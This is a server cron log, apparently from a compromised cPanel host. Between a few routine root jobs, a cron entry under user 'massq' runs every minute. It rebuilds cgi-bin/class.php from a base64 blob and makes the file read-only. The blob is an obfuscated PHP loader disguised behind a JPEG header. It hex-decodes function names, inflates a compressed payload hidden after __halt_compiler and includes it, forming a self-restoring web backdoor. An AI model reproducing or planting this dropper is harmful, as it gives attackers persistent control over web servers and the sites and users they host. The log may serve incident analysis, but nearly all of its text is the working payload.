Apr  9 13:21:01 server CROND[7412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:22:01 server CROND[7489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:23:01 server CROND[7663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:24:01 server CROND[7722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:25:01 server CROND[7795]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 13:25:01 server CROND[7796]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 13:25:01 server CROND[7797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:26:01 server CROND[7939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:27:01 server CROND[8020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:27:01 server CROND[8021]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 13:28:01 server CROND[8235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:29:01 server CROND[8374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:30:01 server CROND[8438]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 13:30:02 server CROND[8439]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 13:30:02 server CROND[8440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:30:02 server CROND[8441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 13:31:01 server CROND[8555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:32:01 server CROND[8620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:33:01 server CROND[8682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:34:01 server CROND[8842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
